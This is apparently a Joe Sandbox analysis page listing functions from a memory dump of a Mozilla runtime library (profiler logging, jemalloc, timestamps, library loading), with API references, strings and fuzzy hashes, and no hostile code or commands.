Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: a7cee45d4ec562646d864cf8a1148395bd84483e521c1bae9e1d3e78dda1bc79
Instruction ID: fdb6274280e0f1f393e42948ae0343e7f380d4eda2ee25400c2213caffb89feb
Opcode Fuzzy Hash: a7cee45d4ec562646d864cf8a1148395bd84483e521c1bae9e1d3e78dda1bc79
Instruction Fuzzy Hash: 1D117774705250DBDF00CF6ACE98E563B74FBD6356F00452AE905B2A40D73DA405CE5E

Function 6C5EF540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF561

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

GetCurrentThreadId.KERNEL32 ref: 6C5EF577
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF585
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6C5EF3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C5EF56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C5EF499
[I %d/%d] profiler_resume, xrefs: 6C5EF239

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 3c2e8acc4c31766ecfc975ffcc8cefc4c1e6c627542a3f463756e48522c68cc4
Instruction ID: 03265f08b4a00b757ebf81af91c979ad22f8070b296c73ce3a419070fe799b41
Opcode Fuzzy Hash: 3c2e8acc4c31766ecfc975ffcc8cefc4c1e6c627542a3f463756e48522c68cc4
Instruction Fuzzy Hash: 96F054B6600214DBDB106F66DC8899A77BDFFCA2ADF100415EA4683702DB795C05CB79

Function 6C5B0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C5B0DF8), ref: 6C5B0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C5B0EA1
__Init_thread_footer.LIBCMT ref: 6C5B0EB5
FreeLibrary.KERNEL32 ref: 6C5B0EC5

Strings

kernel32.dll, xrefs: 6C5B0E7D
GetProcessMitigationPolicy, xrefs: 6C5B0E9B

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 8a41818a3f56e7a280dc361170db04a4a59b64484cd9ec0752716f28a7af0ae1
Instruction ID: 1338323c2aa967b18e730aef20f6ff9aa4f5ce6327b88b9390b08b796e755f94
Opcode Fuzzy Hash: 8a41818a3f56e7a280dc361170db04a4a59b64484cd9ec0752716f28a7af0ae1
Instruction Fuzzy Hash: 99012CB0700391CBDB009FAAEAE4B523BB5E786715F100526ED81A2B40D778F4058E0F

Function 6C5EF600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C5EF598), ref: 6C5EF621

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

GetCurrentThreadId.KERNEL32 ref: 6C5EF637
AcquireSRWLockExclusive.KERNEL32(6C62F4B8,?,?,00000000,?,6C5EF598), ref: 6C5EF645
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8,?,?,00000000,?,6C5EF598), ref: 6C5EF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C5EF62A

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 8a7f11ead181df86cb2777e4ba332622f2531f251d4c97163218a775b05a5fa2
Instruction ID: b5152233cb28f46531ffb5a9e07f26628ce8b2b510106d1e6375e3429f58e837
Opcode Fuzzy Hash: 8a7f11ead181df86cb2777e4ba332622f2531f251d4c97163218a775b05a5fa2
Instruction Fuzzy Hash: 5DF054B5200214EBDB006F66DC8899A777DFFCA2ADF100415EA4683742CB7D5C068B79

Function 6C5E05F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C5DCFAE,?,?,?,6C5A31A7), ref: 6C5E05FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C5DCFAE,?,?,?,6C5A31A7), ref: 6C5E0616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C5A31A7), ref: 6C5E061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C5A31A7), ref: 6C5E0627

Strings

<jemalloc>, xrefs: 6C5E05FA, 6C5E060F
: (malloc) Error in VirtualFree(), xrefs: 6C5E061B, 6C5E0625

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 1eb7e58eecf85674e7aecac0d09b90099c4523d2296cb72b96c586a10a3ddd04
Instruction ID: c4a98a956f55f95e307f566df6d2a84d968cb2cab198701521c56181794086b4
Opcode Fuzzy Hash: 1eb7e58eecf85674e7aecac0d09b90099c4523d2296cb72b96c586a10a3ddd04
Instruction Fuzzy Hash: 89E08CE2A0505037F614625AAC86DBB761CDBC6134F080039FE0E83701E94AAD1A91FA

Function 6C5B05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b68d604123b8c700eab54a0339abaf282b528aaab9a3049d03e3def920749ec1
Instruction ID: 71b87c169bac8725c5fed277119e8e624a08bb25e853a94f434066c43cba1a7e
Opcode Fuzzy Hash: b68d604123b8c700eab54a0339abaf282b528aaab9a3049d03e3def920749ec1
Instruction Fuzzy Hash: 95A139B0A00745CFDB14CF29CA94A9AFBF1BF89304F54866ED44AA7B00E735A945CF90

Function 6C6014A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6014C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6014E2
GetCurrentThreadId.KERNEL32 ref: 6C601546
InitializeConditionVariable.KERNEL32(?), ref: 6C6015BA
free.MOZGLUE(?), ref: 6C6016B4

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 44048b429ea6754209735bae832411f7e40f69ccb4947dfeba277eceffb089cc
Instruction ID: 3b85694a2f6a8376f6868fcd50267b928d270214ee3f971a7a68f408e6e03eb1
Opcode Fuzzy Hash: 44048b429ea6754209735bae832411f7e40f69ccb4947dfeba277eceffb089cc
Instruction Fuzzy Hash: BF610F71A00710DBCB268F25CD80BDAB7B0BF8A308F44851CED8A67701DB35E949CB96

Function 6C5F9F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5F9FDB
free.MOZGLUE(?,?), ref: 6C5F9FF0
free.MOZGLUE(?,?), ref: 6C5FA006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5FA0BE
free.MOZGLUE(?,?), ref: 6C5FA0D5
free.MOZGLUE(?,?), ref: 6C5FA0EB

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 4b881e98307a118350d239a9dec2129b820f3c9570dda4f10f7e0b7b6b869ee0
Instruction ID: 74aece96fda5623bc8688944c29c6a797c44acc8eec3979e0743e9e3e39b448e
Opcode Fuzzy Hash: 4b881e98307a118350d239a9dec2129b820f3c9570dda4f10f7e0b7b6b869ee0
Instruction Fuzzy Hash: 18617E755086419FC715CF58C88059AB3F5FFC8328F54865DE8A99B602EB32E986CFC2

Function 6C5FDC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5FDC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C5FD38A,?), ref: 6C5FDC6F
free.MOZGLUE(?,?,?,?,?,6C5FD38A,?), ref: 6C5FDCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C5FD38A,?), ref: 6C5FDCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C5FD38A,?), ref: 6C5FDD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C5FD38A,?), ref: 6C5FDD4A

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: c08c1ccf4efd4da386da43b8dcadabfca917e8693be9ecacc61973521901cc57
Instruction ID: 2d63cb209887d0d031ff30217980f1014a49cbd843916cfc64a0fb1d48de12b9
Opcode Fuzzy Hash: c08c1ccf4efd4da386da43b8dcadabfca917e8693be9ecacc61973521901cc57
Instruction Fuzzy Hash: 64417CB5A00205CFCB04CF99C880A9AB7F5FF88314B654569D956ABB10D731FC01CFA0

Function 6C5FC810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C5FC82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C5FC842

Part of subcall function 6C5FCAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C61B5EB,00000000), ref: 6C5FCB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C5FC863
std::_Facet_Register.LIBCPMT ref: 6C5FC875

Part of subcall function 6C5DB13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C61B636,?), ref: 6C5DB143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C5FC89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5FC8BC

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: 372f53dbc90f242488522381ef2b13e9eca26b3d168d7c1e8c2bcde9812e1485
Instruction ID: 638bb263159ba921fc3deb8abe963efe96c466e93e2d62a016edb220d9f0fc37
Opcode Fuzzy Hash: 372f53dbc90f242488522381ef2b13e9eca26b3d168d7c1e8c2bcde9812e1485
Instruction Fuzzy Hash: 12118171B002099BCB04EFA6CCC48EE7BB5EF89354F040529E51697340DB34A909CB99

Function 6C5DF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C5DF480

Part of subcall function 6C5AF100: LoadLibraryW.KERNEL32(shell32,?,6C61D020), ref: 6C5AF122
Part of subcall function 6C5AF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C5AF132

CloseHandle.KERNEL32(00000000), ref: 6C5DF555

Part of subcall function 6C5B14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C5B1248,6C5B1248,?), ref: 6C5B14C9
Part of subcall function 6C5B14B0: memcpy.VCRUNTIME140(?,6C5B1248,00000000,?,6C5B1248,?), ref: 6C5B14EF

Part of subcall function 6C5AEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C5AEEE3

CreateFileW.KERNEL32 ref: 6C5DF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C5DF523

Strings

\oleacc.dll, xrefs: 6C5DF4CB

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: c66cd70beb3a11533f2396de786440cd85da727da81c3c71a35881a7fac4d29a
Instruction ID: 2134da9321acfbda9a6b5df98b8c6eeec316a76fa6e4674f37b20f2ee9753eb0
Opcode Fuzzy Hash: c66cd70beb3a11533f2396de786440cd85da727da81c3c71a35881a7fac4d29a
Instruction Fuzzy Hash: EA41BA30618710DFE720DF69CC84A9BB7F4AF84318F100B1CE59193650EB34E94A8B9A

Function 6C5EE020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EE047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EE04F

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5EE09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5EE0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C5EE057

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: 3889d9ac6fe62c4f8d4629fb3281aa20b168db69dad23bf27843bcca977ee066
Instruction ID: 311f705e782029e37bc71f3de8ce26da2f858949bb1ab0098b31701e244e8fef
Opcode Fuzzy Hash: 3889d9ac6fe62c4f8d4629fb3281aa20b168db69dad23bf27843bcca977ee066
Instruction Fuzzy Hash: D1218EB4B002189FDF04DF65DC98AEEB7B5AF89208F144428E90A97740DB75AD09CBE5

Function 6C6074A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C607526
__Init_thread_footer.LIBCMT ref: 6C607566
__Init_thread_footer.LIBCMT ref: 6C607597

Strings

UnmapViewOfFile2, xrefs: 6C607552
kernel32.dll, xrefs: 6C607557

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 12ed108610144c713255777905cc7c91f160965193f830e781cbc563a19931d7
Instruction ID: abee23426f78951740b87518bf1671cb3da709acbfaca3211ca65716baa6f17a
Opcode Fuzzy Hash: 12ed108610144c713255777905cc7c91f160965193f830e781cbc563a19931d7
Instruction Fuzzy Hash: 6421253170061097DB188FAAAA84EDA3375EB86325F010528D84567F80DB39A8028E9F

Function 6C60A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62F770,-00000001,?,6C61E330,?,6C5CBDF7), ref: 6C60A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C5CBDF7), ref: 6C60A7C2
moz_xmalloc.MOZGLUE(00000018,?,6C5CBDF7), ref: 6C60A7E4
LeaveCriticalSection.KERNEL32(6C62F770), ref: 6C60A80A

Strings

accelerator.dll, xrefs: 6C60A7BF

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: cdb58ca39de3d592bd9fc4ffecf53a1ecff831d445689c46a380282290a3723f
Instruction ID: 5cef88f43186b395a0e474526579395594c13a309dd8d023756b0032bba4bb40
Opcode Fuzzy Hash: cdb58ca39de3d592bd9fc4ffecf53a1ecff831d445689c46a380282290a3723f
Instruction Fuzzy Hash: D301A2707103149FDB08CF5AE8C4D5177B8FB8A395B04806AE94A9B712DB70AC00CFA9

Function 6C6075B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C60748B,?), ref: 6C6075B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C6075D7
FreeLibrary.KERNEL32(?,6C60748B,?), ref: 6C6075EC

Strings

RtlNtStatusToDosError, xrefs: 6C6075D1
ntdll.dll, xrefs: 6C6075B3

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: edb1749e390b4be92fdac12a7fd3b620272018227304aea8c2a7108f2e7090df
Instruction ID: c8448132604f243b271b620274f46711ab7fba1cf273f0736a59eaadb12b623c
Opcode Fuzzy Hash: edb1749e390b4be92fdac12a7fd3b620272018227304aea8c2a7108f2e7090df
